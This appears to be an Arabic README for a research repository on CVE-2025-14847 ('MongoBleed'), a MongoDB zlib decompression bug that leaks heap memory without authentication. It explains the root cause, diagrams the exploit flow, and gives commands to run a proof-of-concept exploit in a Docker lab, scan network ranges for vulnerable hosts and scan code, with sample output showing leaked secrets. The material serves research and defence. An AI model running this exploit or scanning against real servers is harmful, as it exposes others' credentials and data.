🩸 MongoBleed - CVE-2025-14847 مختبر أبحاث الأمن السيبراني
CVE-2025-14847 | CVSS 8.7 (عالي) | كشف غير مصادَق للذاكرة
📖 الوثائق الكاملة •
🔬 تحليل فني •
⚡ أوامر سريعة
🎯 ملخص CVE-2025-14847
MongoBleed هي ثغرة كشف حرجة للذاكرة في طبقة نقل الشبكة لـ MongoDB تسمح للمهاجمين عن بعد غير المصادق عليهم باستخراج ذاكرة كومة حساسة دون أي بيانات اعتماد أو تفاعل المستخدم.
التأثير
| الفئة | الوصف |
|---|
| نوع الهجوم | كشف ذاكرة عن بعد غير مصادق عليه |
| السبب الجذري | إرجاع حجم المخزن المؤقت المخصص بدلاً من طول البيانات الفعلي بعد فك ضغط zlib |
| البيانات المكشوفة | كلمات مرور قاعدة البيانات، مفاتيح API، رموز الجلسات، بيانات اعتماد AWS، حالة الخادم الداخلية |
| الخطورة | CVSS 8.7 (عالي) - يمكن الوصول عبر الشبكة، لا يتطلب مصادقة |
| الاستغلال | استغلال نشط يُلاحظ في البيئة الحية منذ 28 ديسمبر 2025 |
الإصدارات الضعيفة (بنظرة سريعة)
📖 راجع جدول الإصدارات المتأثرة الكامل ←
مقياس التعرض
- 87,000 - 194,000 نسخة MongoDB مكشوفة علناً
- 42% من البيئات السحابية تستضيف نسخاً ضعيفة (بحث Wiz)
- لا يتطلب أي مصادقة - يحدث الهجوم قبل المصادقة
- استغلال صامت - لا سجلات، لا أعطال
TL;DR لفِرق الهندسة
🔬 تشريح الثغرة
التحليل الفني
توجد الثغرة في طبقة نقل الشبكة لـ MongoDB (message_compressor_zlib.cpp) حيث عيب حرج في منطق فك ضغط zlib يسمح للمهاجمين غير المصادقين بتسريب ذاكرة خادم حساسة.
السبب الجذري
// الكود الضعيف (قبل الإصلاح)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ إرجاع حجم المخزن المؤقت المخصص
// الكود المُصحَح (بعد الإصلاح)
counterHitDecompress(input.length(), output.length());
return length; // ✅ إرجاع الطول الفعلي للبيانات بعد فك الضغط
تدفق الاستغلال
┌─────────────────────────────────────────────────────────────────────────────┐
│ هجوم MongoBleed │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ المهاجم MongoDB الضعيف │
│ │ │ │
│ │ 1. إرسال رسالة OP_COMPRESSED │ │
│ │ uncompressedSize: 8192 (كذب) │ │
│ │ البيانات الفعلية: ~100 بايت │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. تخصيص مخزن مؤقت بحجم 8192 بايت │
│ │ 3. فك ضغط ~100 بايت │
│ │ 4. العلة: إرجاع buffer.length()=8192 │
│ │ 5. محلل BSON يقرأ ذاكرة غير مهيأة │
│ │ │ │
│ │ 6. استجابة خطأ تحتوي على ذاكرة │ │
│ │ مسربة كـ "أسماء حقول" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 البيانات المسربة: │ │
│ - مفاتيح API، كلمات مرور، رموز │
│ - الحالة الداخلية لـ MongoDB │
│ - إعدادات تخزين WiredTiger │
│ - معلومات /proc للنظام │
│ - بيانات اتصال العملاء │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
الجدول الزمني للاكتشاف
| التاريخ | الحدث |
|---|
| 15 ديسمبر 2025 | تم تحديد الثغرة؛ التذكرة الداخلية SERVER-115508 |
| 19 ديسمبر 2025 |
🔬 راجع التحليل الفني ← للحصول على تشريح تفصيلي للثغرة، بناء الاستغلال، وطرق الكشف.
📁 هيكل المشروع
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 مختبر الاستغلال
│ ├── docker-compose.yml # نسخ MongoDB ضعيفة ومصححة
│ ├── mongobleed.py # PoC استغلال تسرب الذاكرة
│ ├── init/init-mongo.js # بيانات اختبار حساسة
│ ├── test-exploit.sh # سكربت اختبار المختبر
│ └── README.md # وثائق المختبر
│
├── scanner/ # 🌐 ماسح الشبكة
│ ├── mongobleed_scanner.py # ماسح ضعف IP/نطاق
│ ├── sample-targets.txt # ملف أهداف عينة
│ └── README.md # وثائق الماسح
│
├── code-scan/ # 📂 ماسح الكود
│ ├── main.py # نقطة دخول CLI
│ ├── scanners/ # ماسحات Docker، Python، البنية التحتية
│ ├── models/ # نماذج الاكتشاف، الضعف
│ ├── integrations/ # رفع إلى Phoenix Security
│ └── README.md # وثائق ماسح الكود
│
└── original-exploit/ # 📚 مرجع PoC الأصلي
🚀 بداية سريعة
1. مختبر الاستغلال
cd exploit
# بدء المختبر (نسخ ضعيفة + مصححة)
docker-compose up -d
sleep 10
# اختبار النسخة الضعيفة (يجب أن تسرب ذاكرة)
python3 mongobleed.py --host localhost --port 27017
# اختبار النسخة المصححة (يجب ألا تسرب ذاكرة)
python3 mongobleed.py --host localhost --port 27018
# اختبار المختبر الكامل
./test-exploit.sh
2. ماسح الشبكة
cd scanner
# مسح مضيف واحد
python3 mongobleed_scanner.py 192.168.1.100
# مسح نطاق شبكة
python3 mongobleed_scanner.py 192.168.1.0/24
# مسح من ملف
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. ماسح الكود
cd code-scan
# مسح مشروع للبحث عن إصدارات MongoDB الضعيفة
python3 main.py scan /path/to/project
# مسح ورفع إلى Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# تشغيل الاختبارات
python3 main.py test
⚡ أوامر سريعة
# === مختبر الاستغلال ===
# بدء المختبر
cd exploit && docker-compose up -d && sleep 10
# تشغيل الاستغلال (النسخة الضعيفة)
python3 exploit/mongobleed.py --host localhost --port 27017
# تشغيل الاستغلال (النسخة المصححة - تحقق من عدم وجود تسريبات)
python3 exploit/mongobleed.py --host localhost --port 27018
# === ماسح الشبكة ===
# مسح المختبر المحلي
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# مسح الشبكة
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === ماسح الكود ===
# مسح الدليل الحالي
python3 code-scan/main.py scan .
# مسح مع إخراج JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json
# مسح ورفع إلى Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 أمثلة الإخراج
إخراج الاستغلال
[*] mongobleed - CVE-2025-14847 تسريب ذاكرة MongoDB
[*] الهدف: localhost:27017
[*] مسح الإزاحات 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] الهدف ضعيف أمام CVE-2025-14847
[*] إجمالي المسرب: 8748 بايت
[*] الشظايا الفريدة: 42
[!] تم اكتشاف أسرار محتملة:
• مفتاح RSA خاص
• سر المختبر
إخراج ماسح الشبكة
[*] مسح 254 هدفاً مع 10 خيوط...
[1/254] 192.168.1.10:27017 - 8.2.2 [ضعيف - مؤكد]
[2/254] 192.168.1.11:27017 - 8.2.3 [آمن]
الملخص:
----------------------------------------
إجمالي الأهداف التي تم مسحها: 254
المضيفات القابلة للوصول: 12
نسخ MongoDB: 8
الضعيفة: 3
إخراج ماسح الكود
================================================================================
تقرير ماسح كود MONGOBLEED - CVE-2025-14847
================================================================================
🚨 تم اكتشاف إصدارات MongoDB ضعيفة
1. [email protected]
الملف: /project/docker-compose.yml
النوع: docker-compose
السبب: الإصدار 8.2.2 ضمن النطاق الضعيف [8.2.0 - 8.2.2]
✅ الترقية إلى: 8.2.3
CVE: CVE-2025-14847
🛡️ ملخص المعالجة
📖 راجع دليل المعالجة الكامل ←
🔗 تكامل Phoenix Security
جميع الماسحات تدعم رفع النتائج إلى منصة Phoenix Security:
# إنشاء التكوين
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# تحرير ببيانات اعتمادك
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# مسح ورفع
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 إشعار أمني
⚠️ هام: هذه المجموعة مقدمة لأغراض اختبار الأمن المصرح به والبحث فقط.
- اختبر فقط الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها
- الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني
- قد تحتوي البيانات المسربة على معلومات حساسة - تعامل بمسؤولية
- أبلغ عن الثغرات من خلال قنوات الإفصاح المناسبة
📚 الوثائق
الوثائق الأساسية
وثائق الأدوات
🔗 مراجع خارجية
👤 الإسناد
- الاستغلال الأصلي بواسطة Joe Desimone (@dez_)
- بيئة المختبر وتحسينات الماسح لأغراض البحث الأمني
📄 الترخيص
لاختبارات الأمن المصرح بها فقط. استخدم بمسؤولية.
آخر تحديث: ديسمبر 2025